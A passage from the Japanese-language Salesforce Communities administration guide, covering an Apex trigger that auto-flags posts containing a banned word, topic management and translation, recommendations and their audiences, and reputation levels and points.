グの表示、APIでのフラグのクエリ、カスタムレポートタイプを使用したフラグ
付き項目やフラグ付き項目が最も多いユーザなどに関するレポートの作成がで
きます。
トリガを作成するときは、次の点に留意してください。
• Apexは、FeedItem、FeedComment、ChatterMessage、または ContentDocument にト

リガを挿入した後に作成します。
• 条件は、満たされたら FeedComment、FeedItem、ChatterMessage、または ContentDocument を親として

NetworkModeration (フラグ) レコードを作成するように定義します。

例: 次のトリガは、コミュニティ内の BadWord を含む投稿に自動的にフラグを設定します。
trigger autoflagBadWord on FeedItem (after insert) {

for (FeedItem rec : trigger.new) {
if (!<CommunityId>.equals(rec.networkScope))

continue;
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if (rec.body.indexOf('BadWord') >= 0) {
NetworkModeration nm = new NetworkModeration(entityId=rec.id,

visibility='ModeratorsOnly');
insert(nm);

}
}

}

コメントに対する同様のトリガは、次のようになります。
trigger autoflagBadWord on FeedComment (after insert) {

for (FeedComment rec : trigger.new) {
if (!<CommunityId>.equals(rec.networkScope))

continue;

if (rec.commentBody.indexOf('BadWord') >= 0) {
NetworkModeration nm = new NetworkModeration(entityId=rec.id,

visibility='ModeratorsOnly');
insert(nm);

}
}

}

関連トピック:

SOAP API 開発者ガイド

トピックを使用したコミュニティの整理
ナビゲーショントピックと主要トピックは、コミュニティのコンテンツを整理する優れた方法です。トピック
を使用してコミュニティのコンテンツを構造化したり、主要なディスカッションを強調表示したりできます。
トピックを作成することも、コミュニティメンバーの投稿から有機的に発生したトピックを使用することもで
きます。トピックは、カスタマーサービス (Napili)テンプレートを使用して作成されたコミュニティで使用でき
ます。
コミュニティワークスペースまたは [コミュニティ管理]で、ナビゲーショントピックおよびサブトピックを選
択して一貫したコミュニティマップを提供できます。主要トピックを選択して現在人気のある会話を強調表示
したりできます。コミュニティ自体では、メンバーが作成したトピックを使用することで、ユーザは互いに情
報を整理できるため、コミュニティの参加をさらに推進するカスタマイズされた操作性が実現します。
セルフサービスコミュニティでは、カスタマーサービス (Napili)テンプレートによって、ナビゲーショントピッ
ク、主要トピック、およびメンバーが作成したトピックのレイアウトとデザインが指定されます。

ヒント: ナビゲーショントピックや主要トピックをコミュニティに追加する場合、Apex 開発者は Visualforce

ページの ConnectApi.ManagedTopics クラスを使用できます。
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ナビゲーショントピック
セルフサービスコミュニティのすべてのページでは、左上にある [トピック] メニューからナビゲーショント
ピックを使用できます。コミュニティメンバーは、トピックカタログの 1 か所ですべてのコミュニティのナビ
ゲーショントピックおよびサブトピックを参照することもできます。

訪問者がナビゲーショントピックを選択すると、そのトピックに対して選択されているバナー画像がページ上
部に表示されます。

主要トピック
主要トピックには、コミュニティホームページの本文からアクセスできます。主要トピックに選択するサムネ
イル画像により、主要トピックが一意に識別されます (これらの一意のサムネイル画像は、ホームページにの
み表示されます。すべての主要トピックページの上部には、コミュニティビルダーで指定されたデフォルトの
バナー画像が表示されます)。
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メンバーが作成したトピック
コミュニティメンバーは、質問する場合、本文テキストでハッシュタグを使用するか、トピック提案ボックス
に入力することによって、トピックを作成します ([設定] で、「トピックを割り当てる」権限と「トピックの
作成」権限がコミュニティユーザに対して有効になっている必要があります)。

提案されたトピックが投稿に一致しない場合、メンバーはトピックをクリックするだけで削除できます。

ヒント: メンバーが作成したトピックは、検索からアクセスでき、主要トピックとして強調表示されま
す。

トピック総計値
コミュニティメンバーは、過去 60 日間にトピックが使用された回数やトピックのフォロワー数を確認できま
す。総計値は、トピックの詳細ページにあります。この情報が手元にあれば、コミュニティメンバーはトピッ
クの新しさや人気を知ることができます。また、システム管理者はこれらの総計値を使用して、コミュニティ
で特定のトピックを強調表示したり、使用に基づいて類似するトピックをまとめたりすることができます。

4097

トピックを使用したコミュニティの整理Salesforce Communities の設定および管理



コミュニティのトピックの管理
コミュニティのトピック数が増えるにつれ、使いやすいように効率的にまとめることが求められます。コ
ミュニティワークスペースを有効にしていても、[コミュニティ管理] で作業していても、トピックを任意
の 1 か所で作成、マージ、名前変更、および削除できます。
主要トピックの設定
主要トピックは、現在の一般的なコミュニティ会話を強調表示します。主要トピックを定期的に変更して、
コミュニティメンバーに最新情報を提供します。
ナビゲーショントピックの設定
コミュニティのコンテンツを体系化して、ユーザがナビゲーショントピックで必要な情報を容易に検索で
きるようにします。組織でデータカテゴリを使用している場合、コミュニティマネージャは、そのカテゴ
リに関連付けられている現在のSalesforce ナレッジ記事を各ナビゲーショントピックにリンクできます。デー
タカテゴリが有効でない場合は、システム管理者がChatter REST APIを使用して記事を各トピックに追加でき
ます。
1 か所でのコミュニティのトピックおよびサブトピックの表示
トピックとさまざまなレベルのサブトピックをコミュニティのコンテンツに追加するという、骨の折れる
作業が完了しました。次は、コミュニティメンバーが目的の議題に移動できるように、整理されたすべて
のトピックを 1 か所で参照できるようにします。心配はいりません。コミュニティメンバーは、コミュニ
ティのトピックカタログですべてを参照できます。
記事へのトピックの追加または記事からのトピックの削除
あらゆる種別の複数のトピックを特定の記事に追加したり、コミュニティのニーズの変化に応じてトピッ
クをすばやく削除したりできます。
国際的な利用者がいるコミュニティ向けのトピック名と説明の翻訳
トランスレーションワークベンチを使用して、海外のコミュニティのナビゲーショントピック、主要トピッ
ク、およびトピックの説明を翻訳します。

コミュニティのトピックの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「コミュニティの管理」

または

「コミュニティの作成および設定」

コミュニティワークスペースまたは [コ
ミュニティ管理] ページにアクセスする

「トピックの作成」トピックを作成する

「トピックのマージ」トピックをマージする

「トピックの削除」トピックを削除する

「トピックの編集」トピックの名前を変更する
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コミュニティのトピック数が増えるにつれ、使いやすいように効率的にまとめることが求められます。コミュ
ニティワークスペースを有効にしていても、[コミュニティ管理] で作業していても、トピックを任意の 1 か所
で作成、マージ、名前変更、および削除できます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. コミュニティワークスペースを使用している場合、[コンテンツターゲティング] > [トピック] > [トピック管

理] をクリックしてトピックにアクセスします。[コミュニティ管理] を使用している場合、[トピック] > [ト
ピック管理] をクリックしてトピックにアクセスします。

3. 次のいずれかの操作を実行します。
• トピックを作成するには (多くの場合、既存のトピックのマージ計画を伴う)、[新規] をクリックする。

名前とトピックの説明を追加します。これにより、SEO が大幅に上昇します。
• 既存のトピックを結合するには、[マージ] をクリックする。

トピックをマージすると、自動的に投稿の既存のハッシュタグがリダイレクトされます。ナビゲーショ
ントピックまたは主要トピックをマージすると、トピックの種別、画像、およびすべてのサブトピック
リレーションは破棄されます。

• トピック名の変更、既存のトピックの削除、またはトピックへの説明の追加を行うには、 をクリッ
クする。
名前を変更するトピックまたは削除するトピックが見つからない場合は、そのトピックを検索するか、
トピックリストの下の [さらに表示] をクリックします。

ヒント: 世界各地に利用者のいるコミュニティの場合、ナビゲーショントピックおよび主要トピックの名
前と説明を翻訳できます。[設定] から、[翻訳] を検索して選択します。次に、[管理トピック] 設定コン
ポーネントを選択し、コミュニティを展開してその主トピック名を表示します。

関連トピック:

ナビゲーショントピックの設定
主要トピックの設定
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主要トピックの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] ページにアクセ
スする
• 「コミュニティの管

理」

または

「コミュニティの作成
および設定」

および

コミュニティのメン
バーであること

主要トピックを設定する
• 「トピックの編集」

主要トピックは、現在の一般的なコミュニティ会話を強調表示します。主要ト
ピックを定期的に変更して、コミュニティメンバーに最新情報を提供します。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. コミュニティワークスペースを使用している場合、[コンテンツターゲティン

グ] > [トピック] > [主要トピック]をクリックしてトピックにアクセスします。
[コミュニティ管理] を使用している場合、[トピック] > [主要トピック] をク
リックしてトピックにアクセスします。

3. 検索ボックスにトピック名の最初の数文字を入力します。推奨トピックを選
択して、[追加] をクリックします。ナビゲーショントピックまたはメンバー
が作成したトピックを使用します。

ヒント: Chatter REST API を使用すると、ナビゲーショントピックやメン
バーが作成したトピックとは別に、一意の主要トピックを作成できま
す。

4. トピック名の上にマウスポインタを置いて、 をクリックします。次に、
[サムネイル画像をアップロード] をクリックして、コミュニティホームペー
ジで主要トピックを表す画像を選択します。
(サムネイル画像サイズは 250 x 250 ピクセルに固定されます。ゆがみを回避す
るには、画像ファイルをこのサイズで作成します)

5. ステップ 3 ～ 4 を繰り返して、コミュニティに 25 個以内の複数の主要トピッ
クを作成します。その後、[保存] をクリックします。

既存の主要トピックをすばやく編集するには、トピック名の上にマウスポイン
タを置いて、次のいずれかの操作を実行します。
• トピックを上または下に移動するには、左側の矢印をクリックする。
• トピックの削除またはトピックのサムネイル画像の変更を行うには、 を

クリックする。
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ナビゲーショントピックの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] ページにアクセ
スする
• 「コミュニティの管

理」

または

「コミュニティの作成
および設定」

および

コミュニティのメン
バーであること

ナビゲーショントピック
を設定する
• 「トピックの作成」

および

「トピックの編集」

記事をトピックに追加す
る
• 「データカテゴリの表

示」

および

関連する記事タイプに
対する「参照」

コミュニティのコンテンツを体系化して、ユーザがナビゲーショントピックで
必要な情報を容易に検索できるようにします。組織でデータカテゴリを使用し
ている場合、コミュニティマネージャは、そのカテゴリに関連付けられている
現在の Salesforce ナレッジ記事を各ナビゲーショントピックにリンクできます。
データカテゴリが有効でない場合は、システム管理者が Chatter REST APIを使用し
て記事を各トピックに追加できます。
1. [設定] から [クイック検索]ボックスに「オブジェクトのトピック」と入力し、

[オブジェクトのトピック] を選択して、含めるすべての記事タイプのトピッ
クを有効にします。

メモ: トピックを有効にすると、記事の公開タブが無効になります。個
人タグは影響を受けません。

2. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
3. コミュニティワークスペースを使用している場合、[コンテンツターゲティン

グ] > [トピック] > [ナビゲーショントピック] をクリックしてトピックにアク
セスします。[コミュニティ管理] を使用している場合、[トピック] > [ナビゲー
ショントピック] をクリックしてトピックにアクセスします。

4. 右側のテキストボックスにトピック名を入力し、[追加] をクリックします。
サブトピックに追加しますか? トピックを追加したら、([次のサブトピックを
表示] の) ドロップダウンメニューからトピックを選択します。サブトピック
を追加するには、別のトピックを追加して [追加] をクリックします。1 つの
親トピックにつき、最大 2 つのレベルのサブトピックを追加できます。

5. 組織でデータカテゴリを使用する場合、ナビゲーショントピック名の上にマ
ウスポインタを置いて、 をクリックします。データカテゴリグループを
選択してから、トピックに追加するカテゴリを選択し、[記事を追加 & ウィン
ドウを閉じる] をクリックします。

重要: この処理では、現在の記事のみがトピックに追加されます。新し
い記事を追加するには、[コミュニティ管理]またはコミュニティワーク
スペースに戻り、上記のステップを繰り返します。

6. トピック名の上にマウスポインタを置いて、 をクリックします。次に、
[バナー画像をアップロード] をクリックして、トピックページの上部に表示
される画像を選択します。
(バナー画像サイズは 1400 x 180 ピクセルに固定されます。ゆがみを回避する
には、画像ファイルをこのサイズで作成します)

7. ステップ 4 ～ 6 を繰り返してコミュニティに複数のナビゲーショントピック
を作成します。続いて、[保存] をクリックします。

8. サブトピックを使用して、コンテンツをさらに分類します。各サブトピックセットに記事を関連付けて、
さらに詳細に整理します。
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カスタマーサービス (Napili) コミュニティテンプレートで設定できるナビゲーショントピックおよびサブト
ピックの最大数を次に示します。

最大エントリ数レベル

251 (親)

102 (サブトピック)

103 (サブトピック)

ヒント: 既存のナビゲーショントピックをすばやく編集するには、トピック名の上にマウスポインタを置
いて、次のいずれかの操作を実行します。

• トピックを上または下へ移動するには、左側の矢印をクリックする。
• トピック名の変更、トピックの削除、トピックのバナー画像の変更、または割り当てられた記事の削除を

行うには、 をクリックする。

関連トピック:

1 か所でのコミュニティのトピックおよびサブトピックの表示

1 か所でのコミュニティのトピックおよびサブトピックの表示
トピックとさまざまなレベルのサブトピックをコミュニティのコンテンツに追加するという、骨の折れる作業
が完了しました。次は、コミュニティメンバーが目的の議題に移動できるように、整理されたすべてのトピッ
クを 1 か所で参照できるようにします。心配はいりません。コミュニティメンバーは、コミュニティのトピッ
クカタログですべてを参照できます。
トピックカタログには、コミュニティのために作成したナビゲーショントピックの階層が表示されます。これ
はナビゲーショントピックを設定した後でのみ表示され、ナビゲーションメニューからアクセスします。
トピックカタログは次のような理由でコミュニティメンバーにとって便利です。
• 新規ユーザおよび既存のユーザは、整理されたすべてのトピックを 1 か所で参照できるため、特定のトピッ

クを深く掘り下げる前に状況を把握できます。
• コミュニティユーザは、トピックカタログをトピック間を移動する出発点として使用できます。
トピックカタログを設定するには、ホームページでナビゲーションメニューを編集するときに[[トピックをさ
らに表示...] リンク] を選択します。
ブレッドクラムを使用してトピック階層内の記事またはディスカッションの配置を確認することもできます。
コミュニティのページにブレッドクラムを表示するには、コミュニティビルダーでブレッドクラムコンポーネ
ントをページにドラッグアンドドロップします。

例:
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関連トピック:

ナビゲーショントピックの設定
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記事へのトピックの追加または記事からのトピックの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] ページにアクセ
スする
• 「コミュニティの管

理」

または

「コミュニティの作成
および設定」

トピックを追加または削
除する
• 「トピックの作成」

あらゆる種別の複数のトピックを特定の記事に追加したり、コミュニティのニー
ズの変化に応じてトピックをすばやく削除したりできます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. コミュニティワークスペースを使用している場合、[コンテンツターゲティン

グ] > [トピック[記事の管理]] をクリックしてトピックにアクセスします。[コ
ミュニティ管理] を使用している場合、[トピック[記事の管理]] をクリックし
てトピックにアクセスします。

3. 検索バーを使用して、記事を検索します。データカテゴリグループ、特定の
カテゴリの順に選択して、検索を絞り込みます。

4. 記事をクリックし、トピックを入力して割り当てるか、既存のトピックをク
リックして削除します。

メモ: トピックの翻訳バージョンを自動的に翻訳記事に追加するには、翻
訳されたトピックおよび記事がすでにシステムにアップロードされている
必要があります。アップロードされていないと、翻訳記事に英語のトピッ
クがタグ付けられます。
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国際的な利用者がいるコミュニティ向けのトピック名と説明の翻訳

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

トピックを翻訳する
• 「設定・定義を参照す

る」

および

翻訳者として指定され
ていること

トランスレーションワークベンチを使用して、海外のコミュニティのナビゲー
ショントピック、主要トピック、およびトピックの説明を翻訳します。
1. [設定] から、[クイック検索] ボックスに「翻訳」と入力し、[翻訳] を選択し

ます。
2. 翻訳する [言語] を選択します。
3. [設定コンポーネント] で、[管理トピック] を選択します。
4. [部分]で、[項目の表示ラベル]を選択してトピック名を変更し、[説明]を選

択してトピックの説明を変更します。
5. [コミュニティ名]列で、コミュニティを展開してその主トピック名を表示し

ます。
6. ナビゲーショントピックや主要トピックの言語固有の名前を入力するには、

[トピック名の翻訳] 列でダブルクリックします。
トランスレーションワークベンチを使用する場合、次の点に留意してくださ
い。
• 翻訳されたトピック名または説明では、メタデータ APIはサポートされま

せん。
• 英語ではトピック名のユニーク性が保証されていますが、翻訳された言

語のトピック名のユニーク性は翻訳者が保証する必要があります。
• コミュニティワークスペースまたは [コミュニティ管理]からトピック名を変更すると、英語のコミュニ

ティのみが変更されます。翻訳されたトピック名と説明の変更は、すべてトランスレーションワークベ
ンチを使用して行う必要があります。

• コミュニティが英語モードの場合に翻訳されたトピック名を入力すると、翻訳されたコミュニティに翻
訳名が 2 回表示される可能性があります。

• トランスレーションワークベンチを使用してトピック名を翻訳すると、翻訳されたコミュニティのハッ
シュタグも変更されます。たとえば、#help はイタリア語では #aiuto として表示されます。コミュニティ
メンバーがイタリア語から英語に戻して #aiuto ハッシュタグをクリックすると、#help のトピックの詳細
ページは表示されずにエラーメッセージが表示されます。

メモ: トピックの翻訳バージョンを自動的に翻訳記事に追加するには、翻訳されたトピックおよび記
事がすでにシステムにアップロードされている必要があります。アップロードされていないと、翻訳
記事に英語のトピックがタグ付けられます。
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コミュニティのおすすめ情報のカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] にアクセスする
• 「コミュニティの管

理」

または

「コミュニティの作成
および設定」

おすすめを作成して、コミュニティのエンゲージメントを促進し、ユーザに動
画の閲覧やトレーニングの受講などを促します。特定の利用者を対象にしたり、
チャネルを使用しておすすめの場所を指定したりします。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. おすすめを開きます。

• コミュニティワークスペースで、[すべての推奨事項] > [推奨事項] を選択
します。

• [コミュニティ管理] で、[推奨事項] > [推奨事項] を選択します。

3. [デフォルトチャネル] またはいずれかのカスタムチャネルを選択します。
チャネルは、おすすめをグループ化する手段であるため、おすすめをコミュ
ニティのどこに表示するのかを決定できます。
デフォルトチャネル

デフォルトチャネルのおすすめは定義済みの場所 (Salesforce1 モバイルブラ
ウザアプリケーションのフィードや、Summer '15 以降のバージョンのカス
タマーサービス (Napili) テンプレートを使用するコミュニティの [ホーム]

ページおよび [質問の詳細] ページなど) に表示されます。
カスタムチャネル

おすすめを表示するページを選択します。コミュニティビルダーで、お
すすめを表示するページに [おすすめ] コンポーネントを追加します。プ
ロパティエディタを使用して、おすすめのカスタムチャネルを指定します。
カスタムチャネルを使用して、商品説明ページに特定のナレッジ記事をレビューするおすすめを表示
し、顧客に詳細情報を案内できます。

おすすめのチャネルを変更する場合、おすすめを削除して、別のチャネルで再作成します。

4. [新規] をクリックします。
5. 次の項目に入力します。

• 名前  — おすすめの名前を入力します。この名前はコミュニティには表示されません。
• 画像  — おすすめに画像を含めるには、[画像をアップロード] をクリックします。
• タイトル  — 必要に応じて、画像の上に表示される見出しテキストを入力します。
• 説明  — ユーザに推奨する内容の詳細テキストを入力します。
• ボタンテキスト  — おすすめのボタンの表示ラベルを入力します。
• https://  — ボタンで開く URL を入力します。

URL には、おすすめをクリックしたユーザとクリックされたコンテキストに関する情報を渡すためのコ
ンテキスト変数を含めることができます。たとえば、URL、
https://www.example.com/doSurvey?userId={!userId}に {!userId}コンテキスト変数を追加
します。おすすめ内のボタンをユーザがクリックすると、Salesforce により、そのユーザの ID が HTTP 要
求をしたサーバに送信されます。
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おすすめでは、次のコンテキスト変数がサポートされます。

説明コンテキスト変数

ユーザがクリックしたおすすめリンクの ID。{!actionLinkId}

ユーザがクリックしたおすすめを含むおすすめリ
ンクグループの ID。

{!actionLinkGroupId}

ユーザがおすすめをクリックしたコミュニティの
ID。内部の Salesforce 組織の値は空のキー
"000000000000000000" です。

{!communityId}

ユーザがおすすめをクリックした組織の ID。{!orgId}

おすすめをクリックしたユーザの ID。{!userId}

• 利用者  — おすすめの利用者を選択します。利用者を選択しない場合、コミュニティのすべてのメンバー
におすすめが表示されます。

ヒント: このドロップダウンリストに表示される利用者を作成するには、コミュニティワークス
ペースで [すべての推奨事項] > [利用者] を選択します。[コミュニティ管理] で、[おすすめ] > [利用
者] を選択します。[新規] をクリックします。

• 有効化  — この項目をオンにするとおすすめが有効になり、コミュニティに表示されます。
オフにすると、Salesforce1 モバイルブラウザアプリケーションでのフィードのおすすめは削除されませ
んが、新しいおすすめは表示されなくなります。Summer '15 以降のバージョンのカスタマーサービス
(Napili) テンプレートを使用したコミュニティでは、無効にしたおすすめは表示されません。

6. [保存] をクリックします。

ヒント: おすすめを削除するには、おすすめ名をクリックします。おすすめの詳細の下部で、[削除] をク
リックします。

コミュニティのおすすめの対象利用者の作成
新しいコミュニティメンバーによる利用者を作成するか、API を使用してカスタマイズした利用者メンバー
のリストを管理し、おすすめを整理したり、対象にしたりします。

関連トピック:

コミュニティのテンプレートの更新
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コミュニティのおすすめの対象利用者の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] にアクセスする
• 「コミュニティの管

理」

または

「コミュニティの作成
および設定」

新しいコミュニティメンバーによる利用者を作成するか、API を使用してカスタ
マイズした利用者メンバーのリストを管理し、おすすめを整理したり、対象に
したりします。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. 利用者を開きます。

• コミュニティワークスペースで、[すべての推奨事項] > [利用者] を選択し
ます。

• [コミュニティ管理] で、[おすすめ] > [利用者] を選択します。

3. [新規] をクリックします。
4. 次の項目に入力します。

• 名前  — [コミュニティ管理] またはコミュニティワークスペースで利用者
の名前を入力します。

• 利用者種別
– ユーザがコミュニティメンバーになってからの期間に基づいて利用者

を作成するには、[新規メンバー] を選択します。
利用者メンバーが登録されてからの日数を入力します。

– 必要な条件に基づいて利用者を作成するには、[カスタムリスト] を選
択します。

メモ: カスタムリストの利用者メンバーシップは、UI では管理できません。メンバーの追加と
削除は API で行います。

5. [保存] をクリックします。
作成した利用者は、おすすめを作成すると [利用者] ドロップダウンリストに表示されます。

ヒント: 利用者を削除するには、利用者名をクリックします。利用者の詳細の下部で、[削除] をクリック
します。おすすめに関連付けられた利用者を削除すると、おすすめが無効になり、利用者がデフォルト
(すべてのコミュニティメンバー) に設定されます。

関連トピック:

Chatter REST API 開発者ガイド
Apex 開発者ガイド
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評価の概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティの評価は、どのくらい積極的に参加しているかを直接反映します。
投稿、コメント、共有を多く行うほど、評価レベルが高くなります。
評価レベルは、プロファイルページに表示され、名前にマウスを置いた場合に
も表示されます。ユーザの影響度を示すため、他のコミュニティメンバーに表
示されます。コミュニティに初めて参加したときは、最下位レベルになります。
コミュニティで積極的に活動するにつれ、ポイントを獲得して評価レベルが向
上します。評価レベルの向上はフィードに投稿されます。つまり、参加や知識
の共有を他の人が認識すると、信頼性および影響度が高まります。
次に、評価レベルを上げるデフォルトのアクションを示します。次のアクショ
ンにより評価が向上します。
• 投稿
• コメント
• 投稿またはコメントへのいいね!

• 投稿の共有
• あなたの投稿の共有
• あなたの投稿へのコメント
• あなたの投稿またはコメントへのいいね!

• 他の人にメンション
• メンションされる
• 質問する
• 質問に回答する
• 回答を受け取る
• 最良の回答であるとマークする
• 最良の回答であるとマークするユーザ
• トピックの知識に関して誰かを支持する
• トピックの知識に関して支持される
システム管理者は、ポイントの獲得に役立つアクションを定義します。また、アクションごとにポイント数も
設定します。

コミュニティの評価の有効化
コミュニティの評価を有効にし、メンバーの参加を表彰して報奨を付与します。
評価レベルの設定
コミュニティのニーズに合わせてデフォルトの評価レベルを更新し、メンバーの意欲刺激に役立てます。
評価ポイントの設定
ポイントシステムを設定して、ユーザのコミュニティへの参加に対して報奨を与えることができます。
コミュニティ評価の計算方法は?

プロファイルの評価レベルは、合計ポイントに基づいて計算されます。
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コミュニティの評価の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティ設定を編集
する
• 「コミュニティの作成

および設定」

および

アクセスしようとする
[コミュニティ管理]
ページのコミュニティ
メンバーである

コミュニティの評価を有効にし、メンバーの参加を表彰して報奨を付与します。
個々のメンバーの参加を評価する機能は、コミュニティマネージャの強力なツー
ルです。コミュニティマネージャは、レコグニションや友好的な多少の競争が
メンバーの活動の活性化につながると考えています。評価を有効化すると、デ
フォルトのポイントシステムおよび一連の評価レベルがコミュニティで有効に
なります。コミュニティマネージャは、[コミュニティ管理]ページで表示ラベル
やポイント値をパーソナライズできます。
メンバーは、ポイント値が割り当てられたアクションを実行してポイントを獲
得します。メンバーがレベルのポイントしきい値の上限を超えると、レベルが
上がります。本人および他のコミュニティのメンバーは、各自のプロファイル
や名前の上にカーソルを置いて、評価レベルを確認できます。メンバーのプロ
ファイルには、合計ポイントも表示されます。

メモ: 評価を有効にすると、プロファイルページの [貢献度] セクションか
ら Chatter 影響度が削除されます。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理個人設定] をクリックします。
3. [評価レベルの設定と表示を有効にする]を選択し、[保存]をクリックします。
評価を有効化した後に、デフォルトのポイントシステムおよび一連の評価レベ
ルを [コミュニティ管理] ページで使用できます。デフォルトの評価ポイントは
次のようになります。

ポイントアクション

コミュニティエンゲージメント
1投稿を作成する
1コメントを作成する
5コメントを受け取る
1いいね! と言う
5いいね! を受け取る
1投稿を共有する
5他の人が自分の投稿を共有する
1

投稿に複数の @メンションが含まれる場合、@メン
ションごとにポイントを獲得します。

他の人にメンションする

5メンションを受け取る
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ポイントアクション

質問と回答
1質問する
5質問に回答する
5回答を受け取る
5最良の回答であるとマークする
20最良の回答であるとマークされる

ナレッジ
5トピックの知識に関して誰かを支持する
20トピックの知識に関して支持される

選択したコミュニティテンプレートで Chatter が有効化されていない場合、[コミュニティ管理] に [評価] セク
ションは表示されません。[評価] セクションを表示するには、[管理個人設定]に移動して[コミュニティ管理の
すべての設定を表示] を選択します。

関連トピック:

評価レベルの設定
評価ポイントの設定
コミュニティ評価の計算方法は?
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評価レベルの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

評価レベルを更新する
• 「コミュニティの管

理」

および

コミュニティのメン
バーであること

コミュニティのニーズに合わせてデフォルトの評価レベルを更新し、メンバー
の意欲刺激に役立てます。
コミュニティで評価レベルを有効にすると、10 個のデフォルトレベルが追加さ
れます。レベルの追加または削除、各レベルの名前の指定、レベルごとのポイ
ント範囲と画像の更新ができます。

メモ: 1 つのコミュニティには少なくとも 3 個の評価レベルが必要で、50 個
まで設定できます。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. コミュニティワークスペースを使用している場合、[管理] > [評価レベル] を

クリックして評価にアクセスします。[コミュニティ管理] を使用している場
合、[評価] > [評価レベル] をクリックして評価にアクセスします。
ここから、次の操作が可能です。
• 各評価レベルに独自の画像をアップロードします。デフォルト画像をク

リックして、画像ファイルを参照し、新しい画像をアップロードします。

メモ: Salesforceユーザインターフェースからデフォルトの評価レベル
画像に戻すことはできません。デフォルト画像に戻すには、Salesforce

Chatter REST API を使用します。
• 各レベルに名前を付けます (「初級者」、「中級者」、「エキスパート」など)。名前を割り当てない

と、デフォルトが使用されます。たとえば、「レベル 1」、「レベル 2」、「レベル 3」などです。
• レベルのポイント範囲を編集します。

レベルのポイント範囲の上限値を更新すると、保存時に次のレベルの下限値が自動的に調整されます。
• レベルを追加するには、レベルのリストの下にある [レベルを追加] をクリックします。
• レベルを削除するには、レベルの横にある をクリックします。

3. 変更内容を適用するには、[保存] をクリックします。
コミュニティのポイントシステムを更新できるようになりました。ポイントシステムによって、ユーザが特定
のアクションを実行したり、他の人によるコメント、いいね!、投稿の共有によってユーザの貢献が認められ
たりしたときにユーザが獲得するポイント数が決まります。評価レベルの向上はメンバーフィードに投稿され
ます。
評価レベル名を翻訳すると、海外のコミュニティメンバーが評価レベルを適切な言語で参照できます。トラン
スレーションワークベンチで [評価レベル] 設定コンポーネントを選択し、コミュニティの横にあるノードを
展開します。

関連トピック:

評価ポイントの設定
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評価ポイントの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

評価ポイントを更新する
• 「コミュニティの管

理」

および

コミュニティのメン
バーであること

ポイントシステムを設定して、ユーザのコミュニティへの参加に対して報奨を
与えることができます。
コミュニティで評価を有効にすると、デフォルトのポイントシステムが設定さ
れます。ユーザがポイント値の割り当てられたアクションを実行すると、ユー
ザの合計ポイントが増加して次の評価レベルに近づきます。

メモ: 有効ユーザのみがポイントを獲得します。たとえば、有効ユーザが
無効ユーザの投稿にいいね! と言うと、有効ユーザは 1 ポイント獲得します
が、無効ユーザはポイントを獲得しません。

次の表は、デフォルトのイベントとポイントを示します。

ポイントアクション

コミュニティエンゲージメント
1投稿を作成する
1コメントを作成する
5コメントを受け取る
1いいね! と言う
5いいね! を受け取る
1投稿を共有する
5他の人が自分の投稿を共有する
1

投稿に複数の @メンションが含まれる
場合、@メンションごとにポイントを
獲得します。

他の人にメンションする

5メンションを受け取る

質問と回答
1質問する
5質問に回答する
5回答を受け取る
5最良の回答であるとマークする
20最良の回答であるとマークされる

ナレッジ
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ポイントアクション

5トピックの知識に関して誰かを支持する
20トピックの知識に関して支持される

コミュニティフィードの質問と回答を、Chatter アンサーの機能と混同しないでください。

メモ:  Winter '15 リリースより前に評価が有効化された組織では、質問と回答に関係するアクションはリ
リース時に使用可能になり、デフォルトのポイント値は 0 に設定されます。ユーザの既存の評価ポイント
はリリースの影響を受けません。ユーザに対してポイント値を設定するまで、上記のアクションからポ
イントは獲得されません。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. コミュニティワークスペースを使用している場合、[管理] > [評価ポイント]をクリックして評価にアクセス

します。[コミュニティ管理] を使用している場合、[評価[評価ポイント]] をクリックして評価にアクセスし
ます。

3. アクションごとにポイントを更新します。特定のアクションについてユーザがポイントを獲得しないよう
にするには、ポイントを 0 に設定します。

4. [保存] をクリックします
ポイント合計は、プロファイルページの写真の下に表示されます。ポイント合計はコミュニティの全員に表示
されます。

ヒント:  Salesforce API 経由でコミュニティメンバーに対して評価ポイントを直接更新できます。Apex トリ
ガを使用して、評価ポイントの変更に基づいてカスタム通知を送信することもできます。
